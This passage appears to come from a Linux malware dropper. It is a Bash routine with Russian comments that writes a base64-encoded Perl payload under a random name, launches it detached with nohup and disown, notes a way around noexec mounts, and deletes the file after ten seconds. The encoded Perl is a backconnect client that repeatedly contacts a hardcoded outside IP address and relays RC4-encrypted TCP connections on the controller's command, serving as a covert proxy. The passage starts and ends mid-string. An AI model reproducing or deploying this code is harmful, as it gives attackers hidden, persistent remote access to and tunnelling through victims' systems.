gQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_1fe3fd46() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZ